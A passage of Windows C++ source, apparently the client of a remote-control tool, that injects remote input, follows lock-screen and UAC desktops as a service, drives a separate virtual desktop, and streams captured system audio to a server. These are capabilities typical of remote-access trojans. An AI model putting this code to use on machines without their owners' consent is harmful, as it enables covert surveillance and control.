// 向上 - 没有 APPCOMMAND,尝试多种方法 SetForegroundWindow(hTopWnd); // 方法1: 发送到点击的子窗口 PostMessage(hWnd, WM_SYSKEYDOWN, VK_UP, (1 << 29) | (MapVirtualKey(VK_UP, 0) << 16) | 1); PostMessage(hWnd, WM_SYSKEYUP, VK_UP, (1 << 29) | (MapVirtualKey(VK_UP, 0) << 16) | (3 << 30) | 1); // 方法2: 也发送到顶层窗口 PostMessage(hTopWnd, WM_SYSKEYDOWN, VK_UP, (1 << 29) | (MapVirtualKey(VK_UP, 0) << 16) | 1); PostMessage(hTopWnd, WM_SYSKEYUP, VK_UP, (1 << 29) | (MapVirtualKey(VK_UP, 0) << 16) | (3 << 30) | 1); } continue; } } // 检查是否在标题栏拖动区域 BOOL inCaptionArea = (relY >= 0 && relY < captionHeight && relX >= 140 && m_point.x < frameRect.right - 150); if (inCaptionArea) { // WinUI 3 自定义标题栏返回 HTCLIENT,强制改为 HTCAPTION if (m_resMoveType == HTCLIENT) { m_resMoveType = HTCAPTION; Mprintf("强制设置为 HTCAPTION (WinUI 3 自定义标题栏)\n"); } // DWM 阴影导致的边框误判,也改为 HTCAPTION else if (m_resMoveType == HTTOP || m_resMoveType == HTTOPLEFT || m_resMoveType == HTTOPRIGHT) { m_resMoveType = HTCAPTION; } } } RECT startButtonRect; HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); GetWindowRect(hStartButton, &startButtonRect); if (PtInRect(&startButtonRect, m_point)) { PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击 continue; } else { char windowClass[MAX_PATH] = { 0 }; RealGetWindowClassA(hWnd, windowClass, MAX_PATH); if (!lstrcmpA(windowClass, "#32768")) { HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0); int itemPos = MenuItemFromPoint(NULL, hMenu, m_point); int itemId = GetMenuItemID(hMenu, itemPos); PostMessageA(hWnd, 0x1e5, itemPos, 0); PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); continue; } } // 记录按下时的窗口,用于后续移动/调整(使用顶层窗口) m_hResMoveWindow = hTopWnd; Mprintf("记录拖动窗口: hWnd=%p, hTopWnd=%p, m_resMoveType=%d (HTCAPTION=%d)\n", hWnd, hTopWnd, m_resMoveType, HTCAPTION); } else if (msg->message == WM_MOUSEMOVE) { if (!m_lmouseDown || !m_hResMoveWindow) { // Mprintf("跳过移动: lmouseDown=%d, hResMoveWindow=%p\n", m_lmouseDown, m_hResMoveWindow); continue; } hWnd = m_hResMoveWindow; int moveX = lastPointCopy.x - m_point.x; int moveY = lastPointCopy.y - m_point.y; RECT rect; GetWindowRect(hWnd, &rect); int x = rect.left; int y = rect.top; int width = rect.right - rect.left; int height = rect.bottom - rect.top; BOOL needResize = FALSE; switch (m_resMoveType) { case HTCAPTION: { x -= moveX; y -= moveY; break; } case HTTOP: { y -= moveY; height += moveY; needResize = TRUE; break; } case HTBOTTOM: { height -= moveY; needResize = TRUE; break; } case HTLEFT: { x -= moveX; width += moveX; needResize = TRUE; break; } case HTRIGHT: { width -= moveX; needResize = TRUE; break; } case HTTOPLEFT: { y -= moveY; height += moveY; x -= moveX; width += moveX; needResize = TRUE; break; } case HTTOPRIGHT: { y -= moveY; height += moveY; width -= moveX; needResize = TRUE; break; } case HTBOTTOMLEFT: { height -= moveY; x -= moveX; width += moveX; needResize = TRUE; break; } case HTBOTTOMRIGHT: { height -= moveY; width -= moveX; needResize = TRUE; break; } default: continue; } // 使用 SetWindowPos 代替 MoveWindow,支持异步重绘 SetWindowPos(hWnd, NULL, x, y, width, height, SWP_NOZORDER | SWP_NOACTIVATE | (needResize ? 0 : SWP_NOSIZE)); continue; } break; } } for (HWND currHwnd = hWnd;;) { hWnd = currHwnd; ScreenToClient(currHwnd, &m_point); currHwnd = ChildWindowFromPoint(currHwnd, m_point); if (!currHwnd || currHwnd == hWnd) break; } if (mouseMsg) msg->lParam = MAKELPARAM(m_point.x, m_point.y); // 双击需要完整消息序列:LBUTTONDOWN -> LBUTTONDBLCLK -> LBUTTONUP if (msg->message == WM_LBUTTONDBLCLK) { PostMessage(hWnd, WM_LBUTTONDOWN, MK_LBUTTON, msg->lParam); PostMessage(hWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, msg->lParam); PostMessage(hWnd, WM_LBUTTONUP, 0, msg->lParam); } else { PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam); } } return; } if (IsRunAsService()) { const int CHECK_INTERVAL = 100; // 桌面检测间隔(ms),快速响应锁屏/UAC切换 // 首次调用或定期检测桌面是否变化(降低频率,避免每次输入都检测) auto now = clock(); if (!s_inputDesk || now - s_lastCheck > CHECK_INTERVAL) { s_lastCheck = now; if (SwitchToDesktopIfChanged(s_inputDesk, DESKTOP_WRITEOBJECTS | GENERIC_WRITE)) { // 桌面变化时,标记需要重新设置线程桌面 s_lastThreadId = 0; } } // 确保当前线程在正确的桌面上(仅首次或线程变化时设置) if (s_inputDesk) { DWORD currentThreadId = GetCurrentThreadId(); if (currentThreadId != s_lastThreadId) { SetThreadDesktop(s_inputDesk); s_lastThreadId = currentThreadId; } } } // 窗口捕获模式:只能查看,不能控制 if (m_ScreenSpyObject && m_ScreenSpyObject->GetTargetWindow()) { return; } for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : (MSG64*)msg64.Create(msg32.Create(ptr, msgSize)); INPUT input = { 0 }; input.type = INPUT_MOUSE; // 处理坐标:无论是点击还是移动,都先更新坐标 if (Msg->message >= WM_MOUSEFIRST && Msg->message <= WM_MOUSELAST) { POINT Point; Point.x = LOWORD(Msg->lParam); Point.y = HIWORD(Msg->lParam); m_ScreenSpyObject->PointConversion(Point); BOOL b = SetCursorPos(Point.x, Point.y); if (!b) { SetForegroundWindow(GetDesktopWindow()); ReleaseCapture(); return; } // 映射到 0-65535 的绝对坐标空间 if (m_ScreenSpyObject->GetScreenCount() > 1) { // 多显示器模式下,必须重新计算 dx, dy 映射到全虚拟桌面空间 // 且必须带上 MOUSEEVENTF_VIRTUALDESK 标志 input.mi.dx = ((Point.x - m_ScreenSpyObject->GetVScreenLeft()) * 65535) / (m_ScreenSpyObject->GetVScreenWidth() - 1); input.mi.dy = ((Point.y - m_ScreenSpyObject->GetVScreenTop()) * 65535) / (m_ScreenSpyObject->GetVScreenHeight() - 1); input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE | MOUSEEVENTF_VIRTUALDESK; } else { input.mi.dx = (Point.x * 65535) / (m_ScreenSpyObject->GetScreenWidth() - 1); input.mi.dy = (Point.y * 65535) / (m_ScreenSpyObject->GetScreenHeight() - 1); input.mi.dwFlags = MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MOVE; } } switch (Msg->message) { case WM_MOUSEMOVE: // 仅移动,上面已经设置了 MOUSEEVENTF_MOVE SendInput(1, &input, sizeof(INPUT)); break; case WM_LBUTTONDOWN: input.mi.dwFlags |= MOUSEEVENTF_LEFTDOWN; SendInput(1, &input, sizeof(INPUT)); break; case WM_LBUTTONUP: input.mi.dwFlags |= MOUSEEVENTF_LEFTUP; SendInput(1, &input, sizeof(INPUT)); break; case WM_RBUTTONDOWN: input.mi.dwFlags |= MOUSEEVENTF_RIGHTDOWN; SendInput(1, &input, sizeof(INPUT)); break; case WM_RBUTTONUP: input.mi.dwFlags |= MOUSEEVENTF_RIGHTUP; SendInput(1, &input, sizeof(INPUT)); break; case WM_LBUTTONDBLCLK: // 前面已经收到了一个完整的 Down/Up, 这里我们只需要补一个"按下"动作, 系统就会认定这是双击 input.mi.dwFlags |= MOUSEEVENTF_LEFTDOWN; SendInput(1, &input, sizeof(INPUT)); break; case WM_MBUTTONDOWN: input.mi.dwFlags |= MOUSEEVENTF_MIDDLEDOWN; SendInput(1, &input, sizeof(INPUT)); break; case WM_MBUTTONUP: input.mi.dwFlags |= MOUSEEVENTF_MIDDLEUP; SendInput(1, &input, sizeof(INPUT)); break; case WM_MOUSEWHEEL: input.mi.dwFlags = MOUSEEVENTF_WHEEL; input.mi.mouseData = GET_WHEEL_DELTA_WPARAM(Msg->wParam); SendInput(1, &input, sizeof(INPUT)); break; case WM_KEYDOWN: case WM_SYSKEYDOWN: { INPUT k_input = { 0 }; k_input.type = INPUT_KEYBOARD; k_input.ki.wVk = (WORD)Msg->wParam; k_input.ki.wScan = (Msg->lParam >> 16) & 0xFF; // 从 lParam 取真实扫描码 k_input.ki.dwFlags = 0; if ((Msg->lParam >> 24) & 1) // 从 lParam bit24 取扩展键标志 k_input.ki.dwFlags |= KEYEVENTF_EXTENDEDKEY; SendInput(1, &k_input, sizeof(INPUT)); break; } case WM_KEYUP: case WM_SYSKEYUP: { INPUT k_input = { 0 }; k_input.type = INPUT_KEYBOARD; k_input.ki.wVk = (WORD)Msg->wParam; k_input.ki.wScan = (Msg->lParam >> 16) & 0xFF; // 从 lParam 取真实扫描码 k_input.ki.dwFlags = KEYEVENTF_KEYUP; if ((Msg->lParam >> 24) & 1) // 从 lParam bit24 取扩展键标志 k_input.ki.dwFlags |= KEYEVENTF_EXTENDEDKEY; SendInput(1, &k_input, sizeof(INPUT)); break; } } } } // 枚举窗口回调函数,收集任务栏上的窗口 static BOOL CALLBACK EnumWindowsForSwitch(HWND hWnd, LPARAM lParam) { std::vector* pWindows = (std::vector*)lParam; // 检查窗口是否可见 if (!IsWindowVisible(hWnd)) return TRUE; // 检查窗口是否有任务栏按钮(排除工具窗口、子窗口等) LONG exStyle = GetWindowLongA(hWnd, GWL_EXSTYLE); if (exStyle & WS_EX_TOOLWINDOW) return TRUE; // 获取窗口标题,排除无标题窗口 char title[256] = {}; GetWindowTextA(hWnd, title, sizeof(title)); if (strlen(title) == 0) return TRUE; // 排除不可见的窗口所有者 HWND hOwner = GetWindow(hWnd, GW_OWNER); if (hOwner && !IsWindowVisible(hOwner)) return TRUE; // 排除最小化且被隐藏的窗口 if (IsIconic(hWnd) && !(exStyle & WS_EX_APPWINDOW)) return TRUE; // 检查是否为应用窗口(有 WS_EX_APPWINDOW 或无 owner) if (!(exStyle & WS_EX_APPWINDOW) && hOwner) return TRUE; pWindows->push_back(hWnd); return TRUE; } void CScreenManager::SwitchToNextWindow() { // 收集所有任务栏窗口 std::vector windows; if (m_virtual && g_hDesk) { // 虚拟桌面模式:枚举虚拟桌面上的窗口 SetThreadDesktop(g_hDesk); EnumDesktopWindows(g_hDesk, EnumWindowsForSwitch, (LPARAM)&windows); } else { // 普通模式:枚举所有窗口 EnumWindows(EnumWindowsForSwitch, (LPARAM)&windows); } if (windows.empty()) { Mprintf("SwitchToNextWindow: 没有可切换的窗口\n"); return; } // 循环切换到下一个窗口 m_nSwitchWindowIndex = (m_nSwitchWindowIndex + 1) % windows.size(); HWND hTarget = windows[m_nSwitchWindowIndex]; char title[256] = {}; GetWindowTextA(hTarget, title, sizeof(title)); Mprintf("SwitchToNextWindow: 切换到窗口 %d/%d: %s [%p]\n", m_nSwitchWindowIndex + 1, (int)windows.size(), title, hTarget); // 如果窗口被最小化,先恢复 if (IsIconic(hTarget)) { ShowWindow(hTarget, SW_RESTORE); } // 将窗口置于最前面 SetForegroundWindow(hTarget); BringWindowToTop(hTarget); } void CScreenManager::LoadQualityProfiles() { iniFile cfg(CLIENT_PATH); for (int i = 0; i < QUALITY_COUNT; i++) { char section[32]; sprintf(section, "profile%d", i); // 读取配置,没有则用默认值 const QualityProfile& def = GetQualityProfile(i); m_QualityProfiles[i].maxFPS = cfg.GetInt(section, "maxFPS", def.maxFPS); m_QualityProfiles[i].maxWidth = cfg.GetInt(section, "maxWidth", def.maxWidth); m_QualityProfiles[i].algorithm = cfg.GetInt(section, "algorithm", def.algorithm); m_QualityProfiles[i].bitRate = cfg.GetInt(section, "bitRate", def.bitRate); } } void CScreenManager::SaveQualityProfiles() { iniFile cfg(CLIENT_PATH); for (int i = 0; i < QUALITY_COUNT; i++) { const QualityProfile& def = GetQualityProfile(i); const QualityProfile& cur = m_QualityProfiles[i]; // 只有与默认值不同时才保存 if (cur.maxFPS == def.maxFPS && cur.maxWidth == def.maxWidth && cur.algorithm == def.algorithm && cur.bitRate == def.bitRate) { continue; } char section[32]; sprintf(section, "profile%d", i); cfg.SetInt(section, "maxFPS", cur.maxFPS); cfg.SetInt(section, "maxWidth", cur.maxWidth); cfg.SetInt(section, "algorithm", cur.algorithm); cfg.SetInt(section, "bitRate", cur.bitRate); } } // ========== WASAPI 系统音频捕获实现 ========== BOOL CScreenManager::InitWASAPILoopback() { if (m_bAudioInitialized) return TRUE; HRESULT hr; IMMDeviceEnumerator* pEnumerator = nullptr; // 注意:COM 应该由调用线程初始化(音频线程在启动时已初始化) // 创建设备枚举器 hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&pEnumerator); if (FAILED(hr)) { Mprintf("创建 MMDeviceEnumerator 失败: 0x%08X\n", hr); return FALSE; } // 获取默认音频输出设备(用于 loopback) hr = pEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &m_pAudioDevice); pEnumerator->Release(); if (FAILED(hr)) { Mprintf("获取默认音频设备失败: 0x%08X\n", hr); return FALSE; } // 激活音频客户端 hr = m_pAudioDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**)&m_pAudioClient); if (FAILED(hr)) { Mprintf("激活 IAudioClient 失败: 0x%08X\n", hr); UninitWASAPI(); return FALSE; } // 获取设备混音格式 WAVEFORMATEX* pWaveFormat = nullptr; hr = m_pAudioClient->GetMixFormat(&pWaveFormat); if (FAILED(hr)) { Mprintf("获取混音格式失败: 0x%08X\n", hr); UninitWASAPI(); return FALSE; } m_pWaveFormat = pWaveFormat; // 检测格式类型 const char* formatType = "Unknown"; if (pWaveFormat->wFormatTag == WAVE_FORMAT_PCM) { formatType = "PCM"; } else if (pWaveFormat->wFormatTag == WAVE_FORMAT_IEEE_FLOAT) { formatType = "IEEE Float"; } else if (pWaveFormat->wFormatTag == WAVE_FORMAT_EXTENSIBLE) { formatType = IsFloatFormat(pWaveFormat) ? "Extensible (Float)" : "Extensible (PCM)"; } Mprintf("音频格式: %d Hz, %d 声道, %d 位, 类型=%s\n", pWaveFormat->nSamplesPerSec, pWaveFormat->nChannels, pWaveFormat->wBitsPerSample, formatType); // 初始化音频客户端(Loopback 模式) // 缓冲区大小 100ms REFERENCE_TIME hnsRequestedDuration = 1000000; // 100ms in 100-nanosecond units hr = m_pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, AUDCLNT_STREAMFLAGS_LOOPBACK, hnsRequestedDuration, 0, pWaveFormat, NULL); if (FAILED(hr)) { Mprintf("IAudioClient::Initialize 失败: 0x%08X\n", hr); UninitWASAPI(); return FALSE; } // 获取捕获客户端 hr = m_pAudioClient->GetService(__uuidof(IAudioCaptureClient), (void**)&m_pCaptureClient); if (FAILED(hr)) { Mprintf("获取 IAudioCaptureClient 失败: 0x%08X\n", hr); UninitWASAPI(); return FALSE; } // 启动捕获 hr = m_pAudioClient->Start(); if (FAILED(hr)) { Mprintf("启动音频捕获失败: 0x%08X\n", hr); UninitWASAPI(); return FALSE; } m_bAudioInitialized = TRUE; Mprintf("WASAPI Loopback 初始化成功\n"); return TRUE; } void CScreenManager::UninitWASAPI() { if (m_pAudioClient) { m_pAudioClient->Stop(); } if (m_pCaptureClient) { m_pCaptureClient->Release(); m_pCaptureClient = nullptr; } if (m_pAudioClient) { m_pAudioClient->Release(); m_pAudioClient = nullptr; } if (m_pWaveFormat) { CoTaskMemFree(m_pWaveFormat); m_pWaveFormat = nullptr; } if (m_pAudioDevice) { m_pAudioDevice->Release(); m_pAudioDevice = nullptr; } m_bAudioInitialized = FALSE; } void CScreenManager::HandleAudioCtrl(BYTE enable, BYTE persist) { m_ScreenSettings.AudioEnabled = enable; // 持久化到客户端配置 if (persist) { iniFile cfg(CLIENT_PATH); cfg.SetInt("settings", "AudioEnabled", enable); } if (enable) { // 启用音频:唤醒线程(WASAPI 由音频线程自己初始化) if (m_hAudioEvent) { SetEvent(m_hAudioEvent); } Mprintf("音频传输已启用\n"); } else { // 禁用音频:线程会自动挂起等待事件 Mprintf("音频传输已禁用\n"); } } // 将 Float32 样本转换为 Int16 样本 static inline short FloatToInt16(float sample) { // 限制范围 [-1.0, 1.0] if (sample > 1.0f) sample = 1.0f; if (sample < -1.0f) sample = -1.0f; return (short)(sample * 32767.0f); } #if USING_OPUS #include "compress/opus/opus_wrapper.h" #endif DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam) { CScreenManager* pThis = (CScreenManager*)lpParam; // 线程内初始化 COM HRESULT hrCom = CoInitializeEx(NULL, COINIT_MULTITHREADED); // 发送缓冲区:[TOKEN][hasFormat][AudioFormat?][data...] const UINT32 MAX_BUFFER = 64 * 1024; BYTE* pSendBuffer = new BYTE[MAX_BUFFER]; short* pPcmBuffer = new short[MAX_BUFFER / 2]; // PCM 转换缓冲区 BOOL firstFrame = TRUE; #if USING_OPUS // Opus 编码器和累积缓冲区 COpusEncoder opusEncoder; BOOL opusInitialized = FALSE; const int OPUS_FRAME_SIZE = 960; // 20ms @ 48kHz short* pOpusAccumBuffer = new short[OPUS_FRAME_SIZE * 2]; // 立体声 int nAccumSamples = 0; // 已累积的样本数(每声道) BYTE* pOpusOutBuffer = new BYTE[4000]; // Opus 输出缓冲区 Mprintf("音频线程启动 (Opus 压缩启用)\n"); #else Mprintf("音频线程启动\n"); #endif while (pThis->m_bAudioThreadRunning) { // 如果音频未启用,挂起等待 if (!pThis->m_ScreenSettings.AudioEnabled) { firstFrame = TRUE; // 下次启用时重新发送格式 WaitForSingleObject(pThis->m_hAudioEvent, INFINITE); if (!pThis->m_bAudioThreadRunning) break; continue; } // 如果 WASAPI 未初始化,尝试初始化(在音频线程中初始化确保 COM 正确) if (!pThis->m_bAudioInitialized || !pThis->m_pCaptureClient) { if (!pThis->InitWASAPILoopback()) { // 初始化失败,等待后重试 WaitForSingleObject(pThis->m_hAudioEvent, 1000); continue; } } UINT32 packetLength = 0; HRESULT hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength); if (FAILED(hr)) { // WASAPI 调用失败,可能是设备状态变化(如切换显示器),重新初始化 Mprintf("GetNextPacketSize 失败: 0x%08X,重新初始化 WASAPI\n", hr); pThis->UninitWASAPI(); Sleep(100); continue; } while (packetLength > 0 && pThis->m_bAudioThreadRunning && pThis->m_ScreenSettings.AudioEnabled) { BYTE* pData = nullptr; UINT32 numFramesAvailable = 0; DWORD flags = 0; hr = pThis->m_pCaptureClient->GetBuffer(&pData, &numFramesAvailable, &flags, NULL, NULL); if (FAILED(hr)) { Mprintf("GetBuffer 失败: 0x%08X,重新初始化 WASAPI\n", hr); pThis->UninitWASAPI(); break; } WAVEFORMATEX* pWaveFmt = (WAVEFORMATEX*)pThis->m_pWaveFormat; if (numFramesAvailable > 0 && pWaveFmt) { UINT32 numChannels = pWaveFmt->nChannels; UINT32 numSamples = numFramesAvailable * numChannels; // 判断源格式(使用精确的 SubFormat GUID 检测) BOOL isFloat = IsFloatFormat(pWaveFmt); // 检查是否支持的格式 if (!isFloat && pWaveFmt->wBitsPerSample != 16) { // 不支持的格式,跳过 pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable); hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength); if (FAILED(hr)) { Mprintf("GetNextPacketSize 失败 (内部): 0x%08X,重新初始化 WASAPI\n", hr); pThis->UninitWASAPI(); break; } continue; } // 转换 PCM 数据 short* pConvertedPcm = pPcmBuffer; UINT32 convertedSamples = numSamples; if (flags & AUDCLNT_BUFFERFLAGS_SILENT) { // 静音帧:填充零 memset(pPcmBuffer, 0, numSamples * sizeof(short)); } else if (isFloat) { // Float32 -> Int16 转换 float* pFloatData = (float*)pData; for (UINT32 i = 0; i < numSamples && i < MAX_BUFFER / 2; i++) { pPcmBuffer[i] = FloatToInt16(pFloatData[i]); } } else { // 已经是 16-bit PCM,直接使用 pConvertedPcm = (short*)pData; } #if USING_OPUS // ===== Opus 编码模式 ===== // 初始化 Opus 编码器 if (!opusInitialized && pWaveFmt->nSamplesPerSec == 48000) { if (opusEncoder.Init(48000, numChannels, 64000)) { opusInitialized = TRUE; Mprintf("Opus 编码器初始化成功: 48000 Hz, %d ch, 64 kbps\n", numChannels); } } if (opusInitialized) { // 累积样本到 Opus 帧缓冲区 int frameSamples = numFramesAvailable; // 每声道样本数 int srcOffset = 0; while (srcOffset < (int)numFramesAvailable) { // 计算可以复制的样本数 int toCopy = min((int)numFramesAvailable - srcOffset, OPUS_FRAME_SIZE - nAccumSamples); // 复制到累积缓冲区 memcpy(pOpusAccumBuffer + nAccumSamples * numChannels, pConvertedPcm + srcOffset * numChannels, toCopy * numChannels * sizeof(short)); nAccumSamples += toCopy; srcOffset += toCopy; // 累积满一帧,编码并发送 if (nAccumSamples >= OPUS_FRAME_SIZE) { int encodedLen = opusEncoder.Encode(pOpusAccumBuffer, OPUS_FRAME_SIZE, pOpusOutBuffer, 4000); if (encodedLen > 0) { // 构造发送数据包 UINT32 offset = 0; pSendBuffer[offset++] = TOKEN_SCREEN_AUDIO; if (firstFrame) { pSendBuffer[offset++] = 1; // hasFormat = true AudioFormat fmt; fmt.channels = (WORD)numChannels; fmt.sampleRate = pWaveFmt->nSamplesPerSec; fmt.bitsPerSample = 16; fmt.blockAlign = (WORD)(numChannels * 2); fmt.compression = AUDIO_COMPRESS_OPUS; fmt.reserved = 0; memcpy(pSendBuffer + offset, &fmt, sizeof(AudioFormat)); offset += sizeof(AudioFormat); firstFrame = FALSE; Mprintf("发送音频格式: %d Hz, %d ch, Opus 压缩\n", fmt.sampleRate, fmt.channels); } else { pSendBuffer[offset++] = 0; // hasFormat = false } // 发送压缩数据 memcpy(pSendBuffer + offset, pOpusOutBuffer, encodedLen); pThis->m_ClientObject->Send2Server((char*)pSendBuffer, offset + encodedLen); } nAccumSamples = 0; } } } #else // ===== PCM 无压缩模式 ===== // 构造发送数据包 UINT32 offset = 0; pSendBuffer[offset++] = TOKEN_SCREEN_AUDIO; // 首帧带格式信息 if (firstFrame) { pSendBuffer[offset++] = 1; // hasFormat = true AudioFormat fmt; fmt.channels = (WORD)numChannels; fmt.sampleRate = pWaveFmt->nSamplesPerSec; fmt.bitsPerSample = 16; fmt.blockAlign = (WORD)(numChannels * 2); fmt.compression = AUDIO_COMPRESS_NONE; fmt.reserved = 0; memcpy(pSendBuffer + offset, &fmt, sizeof(AudioFormat)); offset += sizeof(AudioFormat); firstFrame = FALSE; Mprintf("发送音频格式: %d Hz, %d ch, 16 bit PCM (源: %d bit %s)\n", fmt.sampleRate, fmt.channels, pWaveFmt->wBitsPerSample, isFloat ? "Float" : "PCM"); } else { pSendBuffer[offset++] = 0; // hasFormat = false } // 发送 PCM 数据 UINT32 audioDataSize = convertedSamples * sizeof(short); if (offset + audioDataSize <= MAX_BUFFER) { memcpy(pSendBuffer + offset, pConvertedPcm, audioDataSize); pThis->m_ClientObject->Send2Server((char*)pSendBuffer, offset + audioDataSize); } #endif } pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable); hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength); if (FAILED(hr)) { Mprintf("GetNextPacketSize 失败 (循环末): 0x%08X,重新初始化 WASAPI\n", hr); pThis->UninitWASAPI(); break; } } Sleep(10); // ~100Hz 采集 } delete[] pSendBuffer; delete[] pPcmBuffer; #if USING_OPUS delete[] pOpusAccumBuffer; delete[] pOpusOutBuffer; opusEncoder.Destroy(); #endif // 反初始化 COM if (SUCCEEDED(hrCom)) { CoUninitialize(); } Mprintf("音频线程退出\n"); return 0; }